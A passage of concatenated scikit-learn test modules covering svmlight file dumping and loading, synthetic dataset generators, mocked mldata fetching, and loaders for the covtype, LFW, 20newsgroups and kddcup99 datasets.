    assert_raises(UnicodeDecodeError,
                  dump_svmlight_file, X, y, f, comment=utf8_comment)

    unicode_comment = utf8_comment.decode("utf-8")
    f = BytesIO()
    dump_svmlight_file(X, y, f, comment=unicode_comment, zero_based=False)
    f.seek(0)

    X2, y2 = load_svmlight_file(f, zero_based=False)
    assert_array_almost_equal(X, X2.toarray())
    assert_array_equal(y, y2)

    f = BytesIO()
    assert_raises(ValueError,
                  dump_svmlight_file, X, y, f, comment="I've got a \0.")


def test_dump_invalid():
    X, y = load_svmlight_file(datafile)

    f = BytesIO()
    y2d = [y]
    assert_raises(ValueError, dump_svmlight_file, X, y2d, f)

    f = BytesIO()
    assert_raises(ValueError, dump_svmlight_file, X, y[:-1], f)


def test_dump_query_id():
    # test dumping a file with query_id
    X, y = load_svmlight_file(datafile)
    X = X.toarray()
    query_id = np.arange(X.shape[0]) // 2
    f = BytesIO()
    dump_svmlight_file(X, y, f, query_id=query_id, zero_based=True)

    f.seek(0)
    X1, y1, query_id1 = load_svmlight_file(f, query_id=True, zero_based=True)
    assert_array_almost_equal(X, X1.toarray())
    assert_array_almost_equal(y, y1)
    assert_array_almost_equal(query_id, query_id1)


def test_load_with_long_qid():
    # load svmfile with longint qid attribute
    data = b("""
    1 qid:0 0:1 1:2 2:3
    0 qid:72048431380967004 0:1440446648 1:72048431380967004 2:236784985
    0 qid:-9223372036854775807 0:1440446648 1:72048431380967004 2:236784985
    3 qid:9223372036854775807  0:1440446648 1:72048431380967004 2:236784985""")
    X, y, qid = load_svmlight_file(BytesIO(data), query_id=True)

    true_X = [[1,          2,                 3],
             [1440446648, 72048431380967004, 236784985],
             [1440446648, 72048431380967004, 236784985],
             [1440446648, 72048431380967004, 236784985]]

    true_y = [1, 0, 0, 3]
    trueQID = [0, 72048431380967004, -9223372036854775807, 9223372036854775807]
    assert_array_equal(y, true_y)
    assert_array_equal(X.toarray(), true_X)
    assert_array_equal(qid, trueQID)

    f = BytesIO()
    dump_svmlight_file(X, y, f, query_id=qid, zero_based=True)
    f.seek(0)
    X, y, qid = load_svmlight_file(f, query_id=True, zero_based=True)
    assert_array_equal(y, true_y)
    assert_array_equal(X.toarray(), true_X)
    assert_array_equal(qid, trueQID)

    f.seek(0)
    X, y = load_svmlight_file(f, query_id=False, zero_based=True)
    assert_array_equal(y, true_y)
    assert_array_equal(X.toarray(), true_X)





from __future__ import division

from collections import defaultdict
from functools import partial

import numpy as np
import scipy.sparse as sp
from sklearn.externals.six.moves import zip

from sklearn.utils.testing import assert_equal
from sklearn.utils.testing import assert_array_equal
from sklearn.utils.testing import assert_almost_equal
from sklearn.utils.testing import assert_array_almost_equal
from sklearn.utils.testing import assert_true
from sklearn.utils.testing import assert_less
from sklearn.utils.testing import assert_raises

from sklearn.datasets import make_classification
from sklearn.datasets import make_multilabel_classification
from sklearn.datasets import make_hastie_10_2
from sklearn.datasets import make_regression
from sklearn.datasets import make_blobs
from sklearn.datasets import make_friedman1
from sklearn.datasets import make_friedman2
from sklearn.datasets import make_friedman3
from sklearn.datasets import make_low_rank_matrix
from sklearn.datasets import make_sparse_coded_signal
from sklearn.datasets import make_sparse_uncorrelated
from sklearn.datasets import make_spd_matrix
from sklearn.datasets import make_swiss_roll
from sklearn.datasets import make_s_curve
from sklearn.datasets import make_biclusters
from sklearn.datasets import make_checkerboard

from sklearn.utils.validation import assert_all_finite


def test_make_classification():
    X, y = make_classification(n_samples=100, n_features=20, n_informative=5,
                               n_redundant=1, n_repeated=1, n_classes=3,
                               n_clusters_per_class=1, hypercube=False,
                               shift=None, scale=None, weights=[0.1, 0.25],
                               random_state=0)

    assert_equal(X.shape, (100, 20), "X shape mismatch")
    assert_equal(y.shape, (100,), "y shape mismatch")
    assert_equal(np.unique(y).shape, (3,), "Unexpected number of classes")
    assert_equal(sum(y == 0), 10, "Unexpected number of samples in class #0")
    assert_equal(sum(y == 1), 25, "Unexpected number of samples in class #1")
    assert_equal(sum(y == 2), 65, "Unexpected number of samples in class #2")


def test_make_classification_informative_features():
    """Test the construction of informative features in make_classification

    Also tests `n_clusters_per_class`, `n_classes`, `hypercube` and
    fully-specified `weights`.
    """
    # Create very separate clusters; check that vertices are unique and
    # correspond to classes
    class_sep = 1e6
    make = partial(make_classification, class_sep=class_sep, n_redundant=0,
                   n_repeated=0, flip_y=0, shift=0, scale=1, shuffle=False)

    for n_informative, weights, n_clusters_per_class in [(2, [1], 1),
                                                         (2, [1/3] * 3, 1),
                                                         (2, [1/4] * 4, 1),
                                                         (2, [1/2] * 2, 2),
                                                         (2, [3/4, 1/4], 2),
                                                         (10, [1/3] * 3, 10)
                                                         ]:
        n_classes = len(weights)
        n_clusters = n_classes * n_clusters_per_class
        n_samples = n_clusters * 50

        for hypercube in (False, True):
            X, y = make(n_samples=n_samples, n_classes=n_classes,
                        weights=weights, n_features=n_informative,
                        n_informative=n_informative,
                        n_clusters_per_class=n_clusters_per_class,
                        hypercube=hypercube, random_state=0)

            assert_equal(X.shape, (n_samples, n_informative))
            assert_equal(y.shape, (n_samples,))

            # Cluster by sign, viewed as strings to allow uniquing
            signs = np.sign(X)
            signs = signs.view(dtype='|S{0}'.format(signs.strides[0]))
            unique_signs, cluster_index = np.unique(signs,
                                                    return_inverse=True)

            assert_equal(len(unique_signs), n_clusters,
                         "Wrong number of clusters, or not in distinct "
                         "quadrants")

            clusters_by_class = defaultdict(set)
            for cluster, cls in zip(cluster_index, y):
                clusters_by_class[cls].add(cluster)
            for clusters in clusters_by_class.values():
                assert_equal(len(clusters), n_clusters_per_class,
                             "Wrong number of clusters per class")
            assert_equal(len(clusters_by_class), n_classes,
                         "Wrong number of classes")

            assert_array_almost_equal(np.bincount(y) / len(y) // weights,
                                      [1] * n_classes,
                                      err_msg="Wrong number of samples "
                                              "per class")

            # Ensure on vertices of hypercube
            for cluster in range(len(unique_signs)):
                centroid = X[cluster_index == cluster].mean(axis=0)
                if hypercube:
                    assert_array_almost_equal(np.abs(centroid),
                                              [class_sep] * n_informative,
                                              decimal=0,
                                              err_msg="Clusters are not "
                                                      "centered on hypercube "
                                                      "vertices")
                else:
                    assert_raises(AssertionError,
                                  assert_array_almost_equal,
                                  np.abs(centroid),
                                  [class_sep] * n_informative,
                                  decimal=0,
                                  err_msg="Clusters should not be cenetered "
                                          "on hypercube vertices")

    assert_raises(ValueError, make, n_features=2, n_informative=2, n_classes=5,
                  n_clusters_per_class=1)
    assert_raises(ValueError, make, n_features=2, n_informative=2, n_classes=3,
                  n_clusters_per_class=2)


def test_make_multilabel_classification_return_sequences():
    for allow_unlabeled, min_length in zip((True, False), (0, 1)):
        X, Y = make_multilabel_classification(n_samples=100, n_features=20,
                                              n_classes=3, random_state=0,
                                              return_indicator=False,
                                              allow_unlabeled=allow_unlabeled)
        assert_equal(X.shape, (100, 20), "X shape mismatch")
        if not allow_unlabeled:
            assert_equal(max([max(y) for y in Y]), 2)
        assert_equal(min([len(y) for y in Y]), min_length)
        assert_true(max([len(y) for y in Y]) <= 3)


def test_make_multilabel_classification_return_indicator():
    for allow_unlabeled, min_length in zip((True, False), (0, 1)):
        X, Y = make_multilabel_classification(n_samples=25, n_features=20,
                                              n_classes=3, random_state=0,
                                              allow_unlabeled=allow_unlabeled)
        assert_equal(X.shape, (25, 20), "X shape mismatch")
        assert_equal(Y.shape, (25, 3), "Y shape mismatch")
        assert_true(np.all(np.sum(Y, axis=0) > min_length))

    # Also test return_distributions and return_indicator with True
    X2, Y2, p_c, p_w_c = make_multilabel_classification(
        n_samples=25, n_features=20, n_classes=3, random_state=0,
        allow_unlabeled=allow_unlabeled, return_distributions=True)

    assert_array_equal(X, X2)
    assert_array_equal(Y, Y2)
    assert_equal(p_c.shape, (3,))
    assert_almost_equal(p_c.sum(), 1)
    assert_equal(p_w_c.shape, (20, 3))
    assert_almost_equal(p_w_c.sum(axis=0), [1] * 3)

def test_make_multilabel_classification_return_indicator_sparse():
    for allow_unlabeled, min_length in zip((True, False), (0, 1)):
        X, Y = make_multilabel_classification(n_samples=25, n_features=20,
                                              n_classes=3, random_state=0,
                                              return_indicator='sparse',
                                              allow_unlabeled=allow_unlabeled)
        assert_equal(X.shape, (25, 20), "X shape mismatch")
        assert_equal(Y.shape, (25, 3), "Y shape mismatch")
        assert_true(sp.issparse(Y))

def test_make_hastie_10_2():
    X, y = make_hastie_10_2(n_samples=100, random_state=0)
    assert_equal(X.shape, (100, 10), "X shape mismatch")
    assert_equal(y.shape, (100,), "y shape mismatch")
    assert_equal(np.unique(y).shape, (2,), "Unexpected number of classes")


def test_make_regression():
    X, y, c = make_regression(n_samples=100, n_features=10, n_informative=3,
                              effective_rank=5, coef=True, bias=0.0,
                              noise=1.0, random_state=0)

    assert_equal(X.shape, (100, 10), "X shape mismatch")
    assert_equal(y.shape, (100,), "y shape mismatch")
    assert_equal(c.shape, (10,), "coef shape mismatch")
    assert_equal(sum(c != 0.0), 3, "Unexpected number of informative features")

    # Test that y ~= np.dot(X, c) + bias + N(0, 1.0).
    assert_almost_equal(np.std(y - np.dot(X, c)), 1.0, decimal=1)

    # Test with small number of features.
    X, y = make_regression(n_samples=100, n_features=1)  # n_informative=3
    assert_equal(X.shape, (100, 1))


def test_make_regression_multitarget():
    X, y, c = make_regression(n_samples=100, n_features=10, n_informative=3,
                              n_targets=3, coef=True, noise=1., random_state=0)

    assert_equal(X.shape, (100, 10), "X shape mismatch")
    assert_equal(y.shape, (100, 3), "y shape mismatch")
    assert_equal(c.shape, (10, 3), "coef shape mismatch")
    assert_array_equal(sum(c != 0.0), 3,
                       "Unexpected number of informative features")

    # Test that y ~= np.dot(X, c) + bias + N(0, 1.0)
    assert_almost_equal(np.std(y - np.dot(X, c)), 1.0, decimal=1)


def test_make_blobs():
    cluster_stds = np.array([0.05, 0.2, 0.4])
    cluster_centers = np.array([[0.0, 0.0], [1.0, 1.0], [0.0, 1.0]])
    X, y = make_blobs(random_state=0, n_samples=50, n_features=2,
                      centers=cluster_centers, cluster_std=cluster_stds)

    assert_equal(X.shape, (50, 2), "X shape mismatch")
    assert_equal(y.shape, (50,), "y shape mismatch")
    assert_equal(np.unique(y).shape, (3,), "Unexpected number of blobs")
    for i, (ctr, std) in enumerate(zip(cluster_centers, cluster_stds)):
        assert_almost_equal((X[y == i] - ctr).std(), std, 1, "Unexpected std")


def test_make_friedman1():
    X, y = make_friedman1(n_samples=5, n_features=10, noise=0.0,
                          random_state=0)

    assert_equal(X.shape, (5, 10), "X shape mismatch")
    assert_equal(y.shape, (5,), "y shape mismatch")

    assert_array_almost_equal(y,
                              10 * np.sin(np.pi * X[:, 0] * X[:, 1])
                              + 20 * (X[:, 2] - 0.5) ** 2
                              + 10 * X[:, 3] + 5 * X[:, 4])


def test_make_friedman2():
    X, y = make_friedman2(n_samples=5, noise=0.0, random_state=0)

    assert_equal(X.shape, (5, 4), "X shape mismatch")
    assert_equal(y.shape, (5,), "y shape mismatch")

    assert_array_almost_equal(y,
                              (X[:, 0] ** 2
                               + (X[:, 1] * X[:, 2] - 1
                                  / (X[:, 1] * X[:, 3])) ** 2) ** 0.5)


def test_make_friedman3():
    X, y = make_friedman3(n_samples=5, noise=0.0, random_state=0)

    assert_equal(X.shape, (5, 4), "X shape mismatch")
    assert_equal(y.shape, (5,), "y shape mismatch")

    assert_array_almost_equal(y, np.arctan((X[:, 1] * X[:, 2]
                                            - 1 / (X[:, 1] * X[:, 3]))
                                           / X[:, 0]))


def test_make_low_rank_matrix():
    X = make_low_rank_matrix(n_samples=50, n_features=25, effective_rank=5,
                             tail_strength=0.01, random_state=0)

    assert_equal(X.shape, (50, 25), "X shape mismatch")

    from numpy.linalg import svd
    u, s, v = svd(X)
    assert_less(sum(s) - 5, 0.1, "X rank is not approximately 5")


def test_make_sparse_coded_signal():
    Y, D, X = make_sparse_coded_signal(n_samples=5, n_components=8,
                                       n_features=10, n_nonzero_coefs=3,
                                       random_state=0)
    assert_equal(Y.shape, (10, 5), "Y shape mismatch")
    assert_equal(D.shape, (10, 8), "D shape mismatch")
    assert_equal(X.shape, (8, 5), "X shape mismatch")
    for col in X.T:
        assert_equal(len(np.flatnonzero(col)), 3, 'Non-zero coefs mismatch')
    assert_array_almost_equal(np.dot(D, X), Y)
    assert_array_almost_equal(np.sqrt((D ** 2).sum(axis=0)),
                              np.ones(D.shape[1]))


def test_make_sparse_uncorrelated():
    X, y = make_sparse_uncorrelated(n_samples=5, n_features=10, random_state=0)

    assert_equal(X.shape, (5, 10), "X shape mismatch")
    assert_equal(y.shape, (5,), "y shape mismatch")


def test_make_spd_matrix():
    X = make_spd_matrix(n_dim=5, random_state=0)

    assert_equal(X.shape, (5, 5), "X shape mismatch")
    assert_array_almost_equal(X, X.T)

    from numpy.linalg import eig
    eigenvalues, _ = eig(X)
    assert_array_equal(eigenvalues > 0, np.array([True] * 5),
                       "X is not positive-definite")


def test_make_swiss_roll():
    X, t = make_swiss_roll(n_samples=5, noise=0.0, random_state=0)

    assert_equal(X.shape, (5, 3), "X shape mismatch")
    assert_equal(t.shape, (5,), "t shape mismatch")
    assert_array_almost_equal(X[:, 0], t * np.cos(t))
    assert_array_almost_equal(X[:, 2], t * np.sin(t))


def test_make_s_curve():
    X, t = make_s_curve(n_samples=5, noise=0.0, random_state=0)

    assert_equal(X.shape, (5, 3), "X shape mismatch")
    assert_equal(t.shape, (5,), "t shape mismatch")
    assert_array_almost_equal(X[:, 0], np.sin(t))
    assert_array_almost_equal(X[:, 2], np.sign(t) * (np.cos(t) - 1))


def test_make_biclusters():
    X, rows, cols = make_biclusters(
        shape=(100, 100), n_clusters=4, shuffle=True, random_state=0)
    assert_equal(X.shape, (100, 100), "X shape mismatch")
    assert_equal(rows.shape, (4, 100), "rows shape mismatch")
    assert_equal(cols.shape, (4, 100,), "columns shape mismatch")
    assert_all_finite(X)
    assert_all_finite(rows)
    assert_all_finite(cols)

    X2, _, _ = make_biclusters(shape=(100, 100), n_clusters=4,
                               shuffle=True, random_state=0)
    assert_array_almost_equal(X, X2)


def test_make_checkerboard():
    X, rows, cols = make_checkerboard(
        shape=(100, 100), n_clusters=(20, 5),
        shuffle=True, random_state=0)
    assert_equal(X.shape, (100, 100), "X shape mismatch")
    assert_equal(rows.shape, (100, 100), "rows shape mismatch")
    assert_equal(cols.shape, (100, 100,), "columns shape mismatch")

    X, rows, cols = make_checkerboard(
        shape=(100, 100), n_clusters=2, shuffle=True, random_state=0)
    assert_all_finite(X)
    assert_all_finite(rows)
    assert_all_finite(cols)

    X1, _, _ = make_checkerboard(shape=(100, 100), n_clusters=2,
                                 shuffle=True, random_state=0)
    X2, _, _ = make_checkerboard(shape=(100, 100), n_clusters=2,
                                 shuffle=True, random_state=0)
    assert_array_equal(X1, X2)






"""Test functionality of mldata fetching utilities."""

import os
import shutil
import tempfile
import scipy as sp

from sklearn import datasets
from sklearn.datasets import mldata_filename, fetch_mldata

from sklearn.utils.testing import assert_in
from sklearn.utils.testing import assert_not_in
from sklearn.utils.testing import mock_mldata_urlopen
from sklearn.utils.testing import assert_equal
from sklearn.utils.testing import assert_raises
from sklearn.utils.testing import with_setup
from sklearn.utils.testing import assert_array_equal


tmpdir = None


def setup_tmpdata():
    # create temporary dir
    global tmpdir
    tmpdir = tempfile.mkdtemp()
    os.makedirs(os.path.join(tmpdir, 'mldata'))


def teardown_tmpdata():
    # remove temporary dir
    if tmpdir is not None:
        shutil.rmtree(tmpdir)


def test_mldata_filename():
    cases = [('datasets-UCI iris', 'datasets-uci-iris'),
             ('news20.binary', 'news20binary'),
             ('book-crossing-ratings-1.0', 'book-crossing-ratings-10'),
             ('Nile Water Level', 'nile-water-level'),
             ('MNIST (original)', 'mnist-original')]
    for name, desired in cases:
        assert_equal(mldata_filename(name), desired)


@with_setup(setup_tmpdata, teardown_tmpdata)
def test_download():
    """Test that fetch_mldata is able to download and cache a data set."""

    _urlopen_ref = datasets.mldata.urlopen
    datasets.mldata.urlopen = mock_mldata_urlopen({
        'mock': {
            'label': sp.ones((150,)),
            'data': sp.ones((150, 4)),
        },
    })
    try:
        mock = fetch_mldata('mock', data_home=tmpdir)
        for n in ["COL_NAMES", "DESCR", "target", "data"]:
            assert_in(n, mock)

        assert_equal(mock.target.shape, (150,))
        assert_equal(mock.data.shape, (150, 4))

        assert_raises(datasets.mldata.HTTPError,
                      fetch_mldata, 'not_existing_name')
    finally:
        datasets.mldata.urlopen = _urlopen_ref


@with_setup(setup_tmpdata, teardown_tmpdata)
def test_fetch_one_column():
    _urlopen_ref = datasets.mldata.urlopen
    try:
        dataname = 'onecol'
        # create fake data set in cache
        x = sp.arange(6).reshape(2, 3)
        datasets.mldata.urlopen = mock_mldata_urlopen({dataname: {'x': x}})

        dset = fetch_mldata(dataname, data_home=tmpdir)
        for n in ["COL_NAMES", "DESCR", "data"]:
            assert_in(n, dset)
        assert_not_in("target", dset)

        assert_equal(dset.data.shape, (2, 3))
        assert_array_equal(dset.data, x)

        # transposing the data array
        dset = fetch_mldata(dataname, transpose_data=False, data_home=tmpdir)
        assert_equal(dset.data.shape, (3, 2))
    finally:
        datasets.mldata.urlopen = _urlopen_ref


@with_setup(setup_tmpdata, teardown_tmpdata)
def test_fetch_multiple_column():
    _urlopen_ref = datasets.mldata.urlopen
    try:
        # create fake data set in cache
        x = sp.arange(6).reshape(2, 3)
        y = sp.array([1, -1])
        z = sp.arange(12).reshape(4, 3)

        # by default
        dataname = 'threecol-default'
        datasets.mldata.urlopen = mock_mldata_urlopen({
            dataname: (
                {
                    'label': y,
                    'data': x,
                    'z': z,
                },
                ['z', 'data', 'label'],
            ),
        })

        dset = fetch_mldata(dataname, data_home=tmpdir)
        for n in ["COL_NAMES", "DESCR", "target", "data", "z"]:
            assert_in(n, dset)
        assert_not_in("x", dset)
        assert_not_in("y", dset)

        assert_array_equal(dset.data, x)
        assert_array_equal(dset.target, y)
        assert_array_equal(dset.z, z.T)

        # by order
        dataname = 'threecol-order'
        datasets.mldata.urlopen = mock_mldata_urlopen({
            dataname: ({'y': y, 'x': x, 'z': z},
                       ['y', 'x', 'z']), })

        dset = fetch_mldata(dataname, data_home=tmpdir)
        for n in ["COL_NAMES", "DESCR", "target", "data", "z"]:
            assert_in(n, dset)
        assert_not_in("x", dset)
        assert_not_in("y", dset)

        assert_array_equal(dset.data, x)
        assert_array_equal(dset.target, y)
        assert_array_equal(dset.z, z.T)

        # by number
        dataname = 'threecol-number'
        datasets.mldata.urlopen = mock_mldata_urlopen({
            dataname: ({'y': y, 'x': x, 'z': z},
                       ['z', 'x', 'y']),
        })

        dset = fetch_mldata(dataname, target_name=2, data_name=0,
                            data_home=tmpdir)
        for n in ["COL_NAMES", "DESCR", "target", "data", "x"]:
            assert_in(n, dset)
        assert_not_in("y", dset)
        assert_not_in("z", dset)

        assert_array_equal(dset.data, z)
        assert_array_equal(dset.target, y)

        # by name
        dset = fetch_mldata(dataname, target_name='y', data_name='z',
                            data_home=tmpdir)
        for n in ["COL_NAMES", "DESCR", "target", "data", "x"]:
            assert_in(n, dset)
        assert_not_in("y", dset)
        assert_not_in("z", dset)

    finally:
        datasets.mldata.urlopen = _urlopen_ref






"""Test the covtype loader.

Skipped if covtype is not already downloaded to data_home.
"""

import errno
from sklearn.datasets import fetch_covtype
from sklearn.utils.testing import assert_equal, SkipTest


def fetch(*args, **kwargs):
    return fetch_covtype(*args, download_if_missing=False, **kwargs)


def test_fetch():
    try:
        data1 = fetch(shuffle=True, random_state=42)
    except IOError as e:
        if e.errno == errno.ENOENT:
            raise SkipTest("Covertype dataset can not be loaded.")

    data2 = fetch(shuffle=True, random_state=37)

    X1, X2 = data1['data'], data2['data']
    assert_equal((581012, 54), X1.shape)
    assert_equal(X1.shape, X2.shape)

    assert_equal(X1.sum(), X2.sum())

    y1, y2 = data1['target'], data2['target']
    assert_equal((X1.shape[0],), y1.shape)
    assert_equal((X1.shape[0],), y2.shape)






"""This test for the LFW require medium-size data downloading and processing

If the data has not been already downloaded by running the examples,
the tests won't run (skipped).

If the test are run, the first execution will be long (typically a bit
more than a couple of minutes) but as the dataset loader is leveraging
joblib, successive runs will be fast (less than 200ms).
"""

import random
import os
import shutil
import tempfile
import numpy as np
from sklearn.externals import six
try:
    try:
        from scipy.misc import imsave
    except ImportError:
        from scipy.misc.pilutil import imsave
except ImportError:
    imsave = None

from sklearn.datasets import load_lfw_pairs
from sklearn.datasets import load_lfw_people
from sklearn.datasets import fetch_lfw_pairs
from sklearn.datasets import fetch_lfw_people

from sklearn.utils.testing import assert_array_equal
from sklearn.utils.testing import assert_equal
from sklearn.utils.testing import assert_warns_message
from sklearn.utils.testing import SkipTest
from sklearn.utils.testing import raises


SCIKIT_LEARN_DATA = tempfile.mkdtemp(prefix="scikit_learn_lfw_test_")
SCIKIT_LEARN_EMPTY_DATA = tempfile.mkdtemp(prefix="scikit_learn_empty_test_")

LFW_HOME = os.path.join(SCIKIT_LEARN_DATA, 'lfw_home')
FAKE_NAMES = [
    'Abdelatif_Smith',
    'Abhati_Kepler',
    'Camara_Alvaro',
    'Chen_Dupont',
    'John_Lee',
    'Lin_Bauman',
    'Onur_Lopez',
]


def setup_module():
    """Test fixture run once and common to all tests of this module"""
    if imsave is None:
        raise SkipTest("PIL not installed.")

    if not os.path.exists(LFW_HOME):
        os.makedirs(LFW_HOME)

    random_state = random.Random(42)
    np_rng = np.random.RandomState(42)

    # generate some random jpeg files for each person
    counts = {}
    for name in FAKE_NAMES:
        folder_name = os.path.join(LFW_HOME, 'lfw_funneled', name)
        if not os.path.exists(folder_name):
            os.makedirs(folder_name)

        n_faces = np_rng.randint(1, 5)
        counts[name] = n_faces
        for i in range(n_faces):
            file_path = os.path.join(folder_name, name + '_%04d.jpg' % i)
            uniface = np_rng.randint(0, 255, size=(250, 250, 3))
            try:
                imsave(file_path, uniface)
            except ImportError:
                raise SkipTest("PIL not installed")

    # add some random file pollution to test robustness
    with open(os.path.join(LFW_HOME, 'lfw_funneled', '.test.swp'), 'wb') as f:
        f.write(six.b('Text file to be ignored by the dataset loader.'))

    # generate some pairing metadata files using the same format as LFW
    with open(os.path.join(LFW_HOME, 'pairsDevTrain.txt'), 'wb') as f:
        f.write(six.b("10\n"))
        more_than_two = [name for name, count in six.iteritems(counts)
                         if count >= 2]
        for i in range(5):
            name = random_state.choice(more_than_two)
            first, second = random_state.sample(range(counts[name]), 2)
            f.write(six.b('%s\t%d\t%d\n' % (name, first, second)))

        for i in range(5):
            first_name, second_name = random_state.sample(FAKE_NAMES, 2)
            first_index = random_state.choice(np.arange(counts[first_name]))
            second_index = random_state.choice(np.arange(counts[second_name]))
            f.write(six.b('%s\t%d\t%s\t%d\n' % (first_name, first_index,
                                                second_name, second_index)))

    with open(os.path.join(LFW_HOME, 'pairsDevTest.txt'), 'wb') as f:
        f.write(six.b("Fake place holder that won't be tested"))

    with open(os.path.join(LFW_HOME, 'pairs.txt'), 'wb') as f:
        f.write(six.b("Fake place holder that won't be tested"))


def teardown_module():
    """Test fixture (clean up) run once after all tests of this module"""
    if os.path.isdir(SCIKIT_LEARN_DATA):
        shutil.rmtree(SCIKIT_LEARN_DATA)
    if os.path.isdir(SCIKIT_LEARN_EMPTY_DATA):
        shutil.rmtree(SCIKIT_LEARN_EMPTY_DATA)


@raises(IOError)
def test_load_empty_lfw_people():
    fetch_lfw_people(data_home=SCIKIT_LEARN_EMPTY_DATA, download_if_missing=False)


def test_load_lfw_people_deprecation():
    msg = ("Function 'load_lfw_people' has been deprecated in 0.17 and will be "
           "removed in 0.19."
           "Use fetch_lfw_people(download_if_missing=False) instead.")
    assert_warns_message(DeprecationWarning, msg, load_lfw_people,
                         data_home=SCIKIT_LEARN_DATA)


def test_load_fake_lfw_people():
    lfw_people = fetch_lfw_people(data_home=SCIKIT_LEARN_DATA,
                                  min_faces_per_person=3, download_if_missing=False)

    # The data is croped around the center as a rectangular bounding box
    # around the face. Colors are converted to gray levels:
    assert_equal(lfw_people.images.shape, (10, 62, 47))
    assert_equal(lfw_people.data.shape, (10, 2914))

    # the target is array of person integer ids
    assert_array_equal(lfw_people.target, [2, 0, 1, 0, 2, 0, 2, 1, 1, 2])

    # names of the persons can be found using the target_names array
    expected_classes = ['Abdelatif Smith', 'Abhati Kepler', 'Onur Lopez']
    assert_array_equal(lfw_people.target_names, expected_classes)

    # It is possible to ask for the original data without any croping or color
    # conversion and not limit on the number of picture per person
    lfw_people = fetch_lfw_people(data_home=SCIKIT_LEARN_DATA,
                                  resize=None, slice_=None, color=True, download_if_missing=False)
    assert_equal(lfw_people.images.shape, (17, 250, 250, 3))

    # the ids and class names are the same as previously
    assert_array_equal(lfw_people.target,
                       [0, 0, 1, 6, 5, 6, 3, 6, 0, 3, 6, 1, 2, 4, 5, 1, 2])
    assert_array_equal(lfw_people.target_names,
                       ['Abdelatif Smith', 'Abhati Kepler', 'Camara Alvaro',
                        'Chen Dupont', 'John Lee', 'Lin Bauman', 'Onur Lopez'])


@raises(ValueError)
def test_load_fake_lfw_people_too_restrictive():
    fetch_lfw_people(data_home=SCIKIT_LEARN_DATA, min_faces_per_person=100, download_if_missing=False)


@raises(IOError)
def test_load_empty_lfw_pairs():
    fetch_lfw_pairs(data_home=SCIKIT_LEARN_EMPTY_DATA, download_if_missing=False)


def test_load_lfw_pairs_deprecation():
    msg = ("Function 'load_lfw_pairs' has been deprecated in 0.17 and will be "
           "removed in 0.19."
           "Use fetch_lfw_pairs(download_if_missing=False) instead.")
    assert_warns_message(DeprecationWarning, msg, load_lfw_pairs,
                         data_home=SCIKIT_LEARN_DATA)


def test_load_fake_lfw_pairs():
    lfw_pairs_train = fetch_lfw_pairs(data_home=SCIKIT_LEARN_DATA, download_if_missing=False)

    # The data is croped around the center as a rectangular bounding box
    # around the face. Colors are converted to gray levels:
    assert_equal(lfw_pairs_train.pairs.shape, (10, 2, 62, 47))

    # the target is whether the person is the same or not
    assert_array_equal(lfw_pairs_train.target, [1, 1, 1, 1, 1, 0, 0, 0, 0, 0])

    # names of the persons can be found using the target_names array
    expected_classes = ['Different persons', 'Same person']
    assert_array_equal(lfw_pairs_train.target_names, expected_classes)

    # It is possible to ask for the original data without any croping or color
    # conversion
    lfw_pairs_train = fetch_lfw_pairs(data_home=SCIKIT_LEARN_DATA,
                                      resize=None, slice_=None, color=True, download_if_missing=False)
    assert_equal(lfw_pairs_train.pairs.shape, (10, 2, 250, 250, 3))

    # the ids and class names are the same as previously
    assert_array_equal(lfw_pairs_train.target, [1, 1, 1, 1, 1, 0, 0, 0, 0, 0])
    assert_array_equal(lfw_pairs_train.target_names, expected_classes)






"""Test the 20news downloader, if the data is available."""
import numpy as np
import scipy.sparse as sp

from sklearn.utils.testing import assert_equal
from sklearn.utils.testing import assert_true
from sklearn.utils.testing import SkipTest

from sklearn import datasets


def test_20news():
    try:
        data = datasets.fetch_20newsgroups(
            subset='all', download_if_missing=False, shuffle=False)
    except IOError:
        raise SkipTest("Download 20 newsgroups to run this test")

    # Extract a reduced dataset
    data2cats = datasets.fetch_20newsgroups(
        subset='all', categories=data.target_names[-1:-3:-1], shuffle=False)
    # Check that the ordering of the target_names is the same
    # as the ordering in the full dataset
    assert_equal(data2cats.target_names,
                 data.target_names[-2:])
    # Assert that we have only 0 and 1 as labels
    assert_equal(np.unique(data2cats.target).tolist(), [0, 1])

    # Check that the number of filenames is consistent with data/target
    assert_equal(len(data2cats.filenames), len(data2cats.target))
    assert_equal(len(data2cats.filenames), len(data2cats.data))

    # Check that the first entry of the reduced dataset corresponds to
    # the first entry of the corresponding category in the full dataset
    entry1 = data2cats.data[0]
    category = data2cats.target_names[data2cats.target[0]]
    label = data.target_names.index(category)
    entry2 = data.data[np.where(data.target == label)[0][0]]
    assert_equal(entry1, entry2)


def test_20news_length_consistency():
    """Checks the length consistencies within the bunch

    This is a non-regression test for a bug present in 0.16.1.
    """
    try:
        data = datasets.fetch_20newsgroups(
            subset='all', download_if_missing=False, shuffle=False)
    except IOError:
        raise SkipTest("Download 20 newsgroups to run this test")
    # Extract the full dataset
    data = datasets.fetch_20newsgroups(subset='all')
    assert_equal(len(data['data']), len(data.data))
    assert_equal(len(data['target']), len(data.target))
    assert_equal(len(data['filenames']), len(data.filenames))


def test_20news_vectorized():
    # This test is slow.
    raise SkipTest("Test too slow.")

    bunch = datasets.fetch_20newsgroups_vectorized(subset="train")
    assert_true(sp.isspmatrix_csr(bunch.data))
    assert_equal(bunch.data.shape, (11314, 107428))
    assert_equal(bunch.target.shape[0], 11314)
    assert_equal(bunch.data.dtype, np.float64)

    bunch = datasets.fetch_20newsgroups_vectorized(subset="test")
    assert_true(sp.isspmatrix_csr(bunch.data))
    assert_equal(bunch.data.shape, (7532, 107428))
    assert_equal(bunch.target.shape[0], 7532)
    assert_equal(bunch.data.dtype, np.float64)

    bunch = datasets.fetch_20newsgroups_vectorized(subset="all")
    assert_true(sp.isspmatrix_csr(bunch.data))
    assert_equal(bunch.data.shape, (11314 + 7532, 107428))
    assert_equal(bunch.target.shape[0], 11314 + 7532)
    assert_equal(bunch.data.dtype, np.float64)












"""Test  kddcup99 loader. Only 'percent10' mode is tested, as the full data
is too big to use in unit-testing.

The test is skipped if the data wasn't previously fetched and saved to
scikit-learn data folder.
"""

import errno
from sklearn.datasets import fetch_kddcup99
from sklearn.utils.testing import assert_equal, SkipTest


def test_percent10():
    try:
        data = fetch_kddcup99(download_if_missing=False)
    except IOError as e:
        if e.errno == errno.ENOENT:
            raise SkipTest("kddcup99 dataset can not be loaded.")

    assert_equal(data.data.shape, (494021, 41))
    assert_equal(data.target.shape, (494021,))

    data_shuffled = fetch_kddcup99(shuffle=True, random_state=0)
    assert_equal(data.data.shape, data_shuffled.data.shape)
